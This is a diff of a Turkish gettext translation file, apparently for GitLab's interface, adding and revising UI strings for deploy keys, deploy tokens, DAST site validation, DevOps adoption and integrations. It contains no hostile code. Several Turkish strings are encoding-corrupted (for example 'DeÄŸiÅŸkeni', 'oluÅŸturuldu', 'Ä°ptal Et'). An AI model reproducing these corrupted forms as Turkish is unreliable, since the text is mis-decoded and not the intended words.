+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
+msgstr ""
+
+msgid "DastSiteValidation|Validate"
+msgstr ""
+
+msgid "DastSiteValidation|Validate target site"
+msgstr ""
+
+msgid "DastSiteValidation|Validated"
+msgstr ""
+
+msgid "DastSiteValidation|Validating..."
+msgstr ""
+
+msgid "DastSiteValidation|Validation failed"
+msgstr ""
+
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8577,9 +8827,6 @@ msgstr "Varsayılan proje limiti"
msgid "Default stages"
msgstr "Varsayılan aşamalar"
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8604,7 +8851,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8688,9 +8935,6 @@ msgstr "Kullanıcı listesini sil"
msgid "Delete variable"
msgstr "DeÄŸiÅŸkeni sil"
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -8871,11 +9115,11 @@ msgstr[1] ""
msgid "Deploy"
msgid_plural "Deploys"
-msgstr[0] "Yayınlama"
-msgstr[1] "Yayınlama"
+msgstr[0] "Dağıtım"
+msgstr[1] "Dağıtımlar"
msgid "Deploy Keys"
-msgstr "Anahtarları Dağıt"
+msgstr "Dağıtım Anahtarları"
msgid "Deploy freezes"
msgstr ""
@@ -8896,7 +9140,7 @@ msgid "Deploy progress not found. To see pods, ensure your environment matches %
msgstr ""
msgid "Deploy to..."
-msgstr ""
+msgstr "Şuna dağıt..."
msgid "DeployFreeze|Freeze end"
msgstr ""
@@ -8929,34 +9173,34 @@ msgid "DeployKeys|Enabled deploy keys"
msgstr ""
msgid "DeployKeys|Error enabling deploy key"
-msgstr ""
+msgstr "Dağıtım anahtarları etkinleştirilirken hata oluştu"
msgid "DeployKeys|Error getting deploy keys"
-msgstr ""
+msgstr "Dağıtım anahtarları alınırken hata oluştu"
msgid "DeployKeys|Error removing deploy key"
msgstr "Dağıtım anahtarı kaldırılırken hata oluştu"
msgid "DeployKeys|Expand %{count} other projects"
-msgstr ""
+msgstr "%{count} diÄŸer projeyi geniÅŸlet"
msgid "DeployKeys|Loading deploy keys"
-msgstr ""
+msgstr "Dağıtım anahtarları yükleniyor"
msgid "DeployKeys|No deploy keys found. Create one with the form above."
msgstr ""
msgid "DeployKeys|Privately accessible deploy keys"
-msgstr ""
+msgstr "Özel olarak erişilebilen dağıtım anahtarları"
msgid "DeployKeys|Project usage"
msgstr "Proje kullanımı"
msgid "DeployKeys|Publicly accessible deploy keys"
-msgstr ""
+msgstr "Genel olarak erişilebilen dağıtım anahtarları"
msgid "DeployKeys|Read access only"
-msgstr ""
+msgstr "Sadece okuma eriÅŸimi"
msgid "DeployKeys|Write access allowed"
msgstr "Yazma eriÅŸimine izin verildi"
@@ -8968,10 +9212,10 @@ msgid "DeployTokens|Active Deploy Tokens (%{active_tokens})"
msgstr ""
msgid "DeployTokens|Add a deploy token"
-msgstr "Dağıtıcı belirteci ekleyin"
+msgstr "Dağıtım belirteci ekle"
msgid "DeployTokens|Allows read access to the package registry"
-msgstr ""
+msgstr "Paket kayıt defterine okuma erişimi sağlar"
msgid "DeployTokens|Allows read-only access to the registry images"
msgstr "Kayıt defteri resimlerine salt okunur erişim sağlar"
@@ -8980,19 +9224,19 @@ msgid "DeployTokens|Allows read-only access to the repository"
msgstr "Kayıt defteri görüntülerine salt okunur erişimi sağlar"
msgid "DeployTokens|Allows write access to the package registry"
-msgstr ""
+msgstr "Paket kayıt defterine yazma erişimi sağlar"
msgid "DeployTokens|Allows write access to the registry images"
-msgstr ""
+msgstr "Kayıt defteri resimlerine yazma erişimi sağlar"
msgid "DeployTokens|Copy deploy token"
-msgstr ""
+msgstr "Dağıtıcı belirtecini kopyala"
msgid "DeployTokens|Copy username"
msgstr "Kullanıcı adını kopyala"
msgid "DeployTokens|Create deploy token"
-msgstr "Dağıtıcı belirteci oluştur"
+msgstr "Dağıtım belirteci oluştur"
msgid "DeployTokens|Created"
msgstr "OluÅŸturuldu"
@@ -9001,13 +9245,13 @@ msgid "DeployTokens|Default format is \"gitlab+deploy-token-{n}\". Enter custom
msgstr ""
msgid "DeployTokens|Deploy Tokens"
-msgstr "Dağıtıcı Belirteci"
+msgstr "Dağıtım Belirteçleri"
msgid "DeployTokens|Deploy tokens allow access to packages, your repository, and registry images."
msgstr ""
msgid "DeployTokens|Expires"
-msgstr ""
+msgstr "Sona Eriyor"
msgid "DeployTokens|Group deploy tokens allow access to the packages, repositories, and registry images within the group."
msgstr ""
@@ -9019,7 +9263,7 @@ msgid "DeployTokens|Pick a name for the application, and we'll give you a unique
msgstr ""
msgid "DeployTokens|Revoke"
-msgstr "Yoksay"
+msgstr "Ä°ptal Et"
msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
msgstr ""
@@ -9049,16 +9293,16 @@ msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
msgstr ""
msgid "DeployTokens|Your New Deploy Token"
-msgstr ""
+msgstr "Yeni Dağıtım Belirteciniz"
msgid "DeployTokens|Your new group deploy token has been created."
msgstr ""
msgid "DeployTokens|Your new project deploy token has been created."
-msgstr ""
+msgstr "Yeni projenizin dağıtım belirteci oluşturuldu."
msgid "Deployed"
-msgstr ""
+msgstr "Dağıtılmış"
msgid "Deployed to"
msgstr ""
@@ -9079,26 +9323,29 @@ msgid "Deployment Frequency"
msgstr "Dağıtım Sıklığı"
msgid "Deployment|API"
-msgstr ""
+msgstr "API"
msgid "Deployment|This deployment was created using the API"
-msgstr ""
+msgstr "Bu dağıtım, API kullanılarak oluşturuldu"
msgid "Deployment|canceled"
-msgstr ""
+msgstr "iptal edildi"
msgid "Deployment|created"
-msgstr ""
+msgstr "oluÅŸturuldu"
msgid "Deployment|failed"
-msgstr ""
+msgstr "başarısız"
msgid "Deployment|running"
msgstr "çalışıyor"
-msgid "Deployment|success"
+msgid "Deployment|skipped"
msgstr ""
+msgid "Deployment|success"
+msgstr "başarılı"
+
msgid "Deprioritize label"
msgstr "Etiket önceliğini azalt"
@@ -9114,6 +9361,9 @@ msgstr ""
msgid "Description"
msgstr "Açıklama"
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9150,6 +9400,9 @@ msgstr "%{filename} deÄŸiÅŸmedi"
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9207,6 +9460,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9285,15 +9541,9 @@ msgstr "Ayrıntılar (varsayılan)"
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9303,15 +9553,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9500,9 +9819,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9575,9 +9891,6 @@ msgstr ""
msgid "Download as"
msgstr "Farklı indir"
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr "Kodları indir"
@@ -9626,9 +9939,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9666,7 +9985,7 @@ msgid "Edit Comment"
msgstr "Yorumu düzenle"
msgid "Edit Deploy Key"
-msgstr ""
+msgstr "Dağıtım Anahtarını Düzenle"
msgid "Edit Geo Node"
msgstr ""
@@ -9734,6 +10053,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr "Sorunları düzenle"
@@ -9809,6 +10131,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9839,6 +10164,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9911,7 +10239,7 @@ msgstr "BoÅŸ dosya"
msgid "Enable"
msgstr "EtkinleÅŸtir"
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9929,6 +10257,9 @@ msgstr "HTML e-postalarını etkinleştir"
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10280,6 +10611,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr "Sil"
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr "Ortamı sil"
@@ -10329,7 +10663,7 @@ msgid "Environments|New environment"
msgstr "Yeni ortam"
msgid "Environments|No deployed environments"
-msgstr ""
+msgstr "Dağıtılmış ortam yok"
msgid "Environments|No deployments yet"
msgstr "Henüz dağıtım yok"
@@ -10353,10 +10687,10 @@ msgid "Environments|Pod name"
msgstr ""
msgid "Environments|Re-deploy"
-msgstr ""
+msgstr "Yeniden dağıt"
msgid "Environments|Re-deploy environment %{environment_name}?"
-msgstr ""
+msgstr "%{environment_name} ortamı yeniden dağıtılsın mı?"
msgid "Environments|Re-deploy environment %{name}?"
msgstr ""
@@ -10391,6 +10725,9 @@ msgstr "Ortamı durdur"
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10628,9 +10965,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr "Kenar çubuğu verileri alınırken hata oluştu"
@@ -10667,6 +11001,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr "Biçimlendirme önizlemesi oluşturulurken hata oluştu"
@@ -10713,7 +11050,7 @@ msgid "Error: %{error_message}"
msgstr ""
msgid "Error: Unable to create deploy freeze"
-msgstr ""
+msgstr "Hata: Dağıtım dondurma oluşturulamıyor"
msgid "ErrorTracking|Active"
msgstr "Etkin"
@@ -10745,6 +11082,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10794,13 +11134,13 @@ msgid "Every day"
msgstr "Her gün"
msgid "Every day (at %{time})"
-msgstr ""
+msgstr "Her gün (saat %{time})"
msgid "Every month"
msgstr "Her ay"
msgid "Every month (Day %{day} at %{time})"
-msgstr ""
+msgstr "Her ay (%{day} günü saat %{time})"
msgid "Every three months"
msgstr "Her üç ayda bir"
@@ -10812,7 +11152,7 @@ msgid "Every week"
msgstr "Her hafta"
msgid "Every week (%{weekday} at %{time})"
-msgstr ""
+msgstr "Her hafta (%{weekday} saat %{time})"
msgid "Everyone"
msgstr ""
@@ -10827,7 +11167,7 @@ msgid "Everything on your to-do list is marked as done."
msgstr "Yapılacaklar listenizdeki her şey bitti olarak işaretlendi."
msgid "Everything you need to create a GitLab Pages site using Gatsby."
-msgstr ""
+msgstr "Gatsby kullanarak GitLab Sayfalar sitesi oluşturmak için ihtiyacınız olan her şey."
msgid "Everything you need to create a GitLab Pages site using GitBook."
msgstr ""
@@ -10851,13 +11191,13 @@ msgid "Exactly one of %{attributes} is required"
msgstr ""
msgid "Example: %{ip_address}. %{read_more_link}."
-msgstr ""
+msgstr "Örnek: %{ip_address}. %{read_more_link}."
msgid "Example: @sub\\.company\\.com$"
msgstr ""
msgid "Example: My Value Stream"
-msgstr ""
+msgstr "Örnek: Değer Akışım"
msgid "Example: Usage = single query. (Requested) / (Capacity) = multiple queries combined into a formula."
msgstr ""
@@ -10869,7 +11209,7 @@ msgid "Excess storage"
msgstr ""
msgid "Excluding merge commits. Limited to %{limit} commits."
-msgstr ""
+msgstr "Birleştirme işlemleri hariçtir. %{limit} işlem ile sınırlıdır."
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr "Birleştirme işlemleri hariç tutuluyor. 6,000 işlem ile sınırlı."
@@ -10878,7 +11218,7 @@ msgid "Execution time"
msgstr ""
msgid "Existing branch name, tag, or commit SHA"
-msgstr ""
+msgstr "Mevcut dal adı, etiketi veya işlem SHA"
msgid "Existing members and groups"
msgstr "Mevcut üyeler ve gruplar"
@@ -10899,10 +11239,10 @@ msgid "Expand all"
msgstr "Tümünü genişlet"
msgid "Expand all files"
-msgstr ""
+msgstr "Tüm dosyaları genişlet"
msgid "Expand all threads"
-msgstr ""
+msgstr "Tüm konuları genişlet"
msgid "Expand approvers"
msgstr "Onaylayanları genişlet"
@@ -10911,7 +11251,7 @@ msgid "Expand file"
msgstr ""
msgid "Expand milestones"
-msgstr ""
+msgstr "Dönüm noktalarını genişlet"
msgid "Expand sidebar"
msgstr "Kenar çubuğunu genişlet"
@@ -10950,7 +11290,7 @@ msgid "Expires on"
msgstr ""
msgid "Expires:"
-msgstr ""
+msgstr "BitiÅŸ tarihi:"
msgid "Explain the problem. If appropriate, provide a link to the relevant issue or comment."
msgstr ""
@@ -10974,11 +11314,14 @@ msgid "Explore public groups"
msgstr "Genel grupları keşfedin"
msgid "Export"
-msgstr ""
+msgstr "Dışa aktar"
msgid "Export as CSV"
msgstr "CSV olarak dışa aktar"
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11082,25 +11425,28 @@ msgid "Failed to create Merge Request. Please try again."
msgstr ""
msgid "Failed to create To-Do for the design."
-msgstr ""
+msgstr "Tasarım için Yapılacaklar Listesi oluşturulamadı."
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
-msgid "Failed to create import label for jira import."
+msgid "Failed to create framework"
msgstr ""
+msgid "Failed to create import label for jira import."
+msgstr "Jira içe aktarımı için içe aktarma etiketi oluşturulamadı."
+
msgid "Failed to create new project access token: %{token_response_message}"
msgstr ""
msgid "Failed to create repository"
-msgstr ""
+msgstr "Depo oluşturulamadı"
msgid "Failed to create resources"
msgstr ""
msgid "Failed to create wiki"
-msgstr ""
+msgstr "Viki oluşturulamadı"
msgid "Failed to delete board. Please try again."
msgstr ""
@@ -11222,6 +11568,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11261,6 +11610,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11300,12 +11652,18 @@ msgstr ""
msgid "Feature Flags"
msgstr "Özellik Bayrakları"
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11473,6 +11831,9 @@ msgstr "Yeni özellik bayrağı"
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11497,9 +11858,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11560,6 +11918,9 @@ msgstr "Åžub"
msgid "February"
msgstr "Åžubat"
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11602,7 +11963,7 @@ msgstr "Dosya adı"
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11728,12 +12089,6 @@ msgstr "Mevcut üyeleri isme göre bul"
msgid "Find file"
msgstr "Dosya bul"
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr ""
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr "Parmak izi"
@@ -11758,9 +12113,6 @@ msgstr "Haftanın ilk günü"
msgid "First name"
msgstr "Ad"
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11806,9 +12158,6 @@ msgstr ""
msgid "Folder/%{name}"
msgstr "Klasör/%{name}"
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr "Yazı Tipi Rengi"
@@ -11893,6 +12242,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ""
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11920,9 +12272,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr ""
-
msgid "From issue creation until deploy to production"
msgstr ""
@@ -12409,6 +12758,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12442,6 +12794,9 @@ msgstr ""
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12652,15 +13007,12 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr "Geri dön (dosyaları ararken)"
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr "Tam ekrana git"
-msgid "Go to %{link_to_google_takeout}."
-msgstr ""
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12775,12 +13127,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr "Google Cloud Platformu"
-msgid "Google Code import"
-msgstr ""
-
-msgid "Google Takeout"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13015,6 +13361,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr "Epikler alınırken bir şeyler ters gitti"
@@ -13408,12 +13760,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr "Bu grupta bir proje oluÅŸturun."
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr "Bu grupta bir alt grup oluÅŸturun."
-
msgid "GroupsTree|Edit group"
msgstr "Grubu düzenle"
@@ -13489,6 +13835,9 @@ msgstr "Sağlık Sorunu Algılanamadı"
msgid "HealthCheck|Unhealthy"
msgstr "Sağlıksız"
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13640,9 +13989,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr "Denemeyi kaç kullanıcı değerlendirecek?"
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13784,6 +14130,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13860,12 +14209,6 @@ msgstr "CSV'yi içe aktar"
msgid "Import Projects from Gitea"
msgstr "Gitea'dan projeleri içe aktar"
-msgid "Import all compatible projects"
-msgstr ""
-
-msgid "Import all projects"
-msgstr "Tüm projeleri içe aktar"
-
msgid "Import an exported GitLab project"
msgstr ""
@@ -13917,9 +14260,6 @@ msgstr "FogBugz'dan projeleri içe aktar"
msgid "Import projects from GitLab.com"
msgstr "GitLab.com'dan projeleri içe aktar"
-msgid "Import projects from Google Code"
-msgstr "Google Code'dan projeler içe aktar"
-
msgid "Import repositories from Bitbucket Server"
msgstr ""
@@ -13950,6 +14290,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13983,6 +14326,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -14013,9 +14359,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14193,9 +14536,6 @@ msgstr ""
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr ""
-
msgid "Incompatible options set!"
msgstr ""
@@ -14280,9 +14620,6 @@ msgstr ""
msgid "Install Runner on Kubernetes"
msgstr ""
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14306,73 +14643,79 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14411,6 +14754,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr "Tüm ayrıntılar"
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr "Yorum ayrıntıları:"
@@ -14444,7 +14790,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14462,6 +14817,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr "Standart"
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
